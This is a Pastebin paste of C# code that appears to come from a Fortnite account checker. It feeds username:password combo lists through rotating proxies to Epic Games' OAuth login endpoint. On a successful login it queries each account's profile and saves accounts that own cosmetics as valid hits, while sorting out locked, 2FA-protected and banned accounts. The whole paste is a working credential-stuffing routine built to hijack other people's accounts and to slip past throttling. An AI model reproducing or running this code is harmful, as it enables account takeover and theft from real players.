Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using (HttpRequest req = new HttpRequest())
- {
- try
- {
- req.UserAgent = "Fortnite/++Fortnite+Release-4.5-CL-4166199 Windows/6.2.9200.1.768.64bit";
- req.KeepAlive = true;
- req.Cookies = new CookieDictionary(false);
- req.IgnoreProtocolErrors = true;
- req.ConnectTimeout = 5000;
- req.AllowAutoRedirect = false;
- bool flag12 = Proxies.Count == 0;
- if (flag12)
- {
- req.Proxy = null;
- }
- else
- {
- req.Proxy = GetPClient(Proxies.ElementAt(rnd.Next(Proxies.Count)));
- req.Proxy.ConnectTimeout = 5000;
- }
- req.AddHeader("Authorization", "basic ZWM2ODRiOGM2ODdmNDc5ZmFkZWEzY2IyYWQ4M2Y1YzY6ZTFmMzFjMjExZjI4NDEzMTg2MjYyZDM3YTEzZmM4NGQ=");
- string pData = string.Format("grant_type=password&username={0}&password={1}&includePerms=true&token_type=eg1", WebUtility.UrlEncode(combo[0]), combo[1]);
- HttpResponse res = req.Post("https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token", pData, "application/x-www-form-urlencoded");
- string text = res.ToString();
- bool flag13 = text.Contains("access_token");
- if (flag13)
- {
- string bearer = Regex.Match(text, "\"access_token\" : \"(.*?)\",").Groups[1].Value;
- string accountID = Regex.Match(text, "\"account_id\" : \"(.*?)\"").Groups[1].Value;
- req.AddHeader("Authorization", string.Format("bearer {0}", bearer));
- HttpResponse res2 = req.Post(string.Format("https://fortnite-public-service-prod11.ol.epicgames.com/fortnite/api/game/v2/profile/{0}/client/QueryProfile?profileId=athena&rvn=-1", accountID), "{}", "application/json");
- string text2 = res2.ToString();
- consoleWrite(text2);
- bool flag14 = text2.Contains("AthenaCharacter");
- if (flag14)
- {
- Interlocked.Increment(ref validcnt);
- SaveData(account, text2);
- break;
- }
- bool flag15 = !text2.Contains("AthenaCharacter") && text2.Contains("AthenaPickaxe:defaultpickaxe");
- if (flag15)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- bool flag16 = text2.Contains("Login is banned or does not posses the action");
- if (flag16)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- bool flag17 = text2.Contains("Process exited before completing");
- if (flag17)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- }
- else
- {
- bool flag18 = text.Contains("Sorry the account credentials you are using are invalid");
- if (flag18)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- bool flag19 = text.Contains("Two-Factor authentication required to process");
- if (flag19)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- bool flag20 = text.Contains("Operation access is limited by throttling policy");
- if (flag20)
- {
- Interlocked.Increment(ref errorcnt);
- consoleWrite("Operation access is limited by throttling policy");
- }
- else
- {
- bool flag21 = text.Contains("Real ID association is required");
- if (flag21)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- bool flag22 = text.Contains("Please reset your password to proceed with login");
- if (flag22)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- bool flag23 = text.Contains("Process exited before completing");
- if (flag23)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- bool flag24 = text.Contains("account has been locked because of too many invalid login attempts");
- if (flag24)
- {
- Interlocked.Increment(ref invalidcnt);
- break;
- }
- Interlocked.Increment(ref errorcnt);
- consoleWrite("Error 1");
- }
- }
- }
- catch (Exception ex)
- {
- consoleWrite("Exception Message: " + ex.Message);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement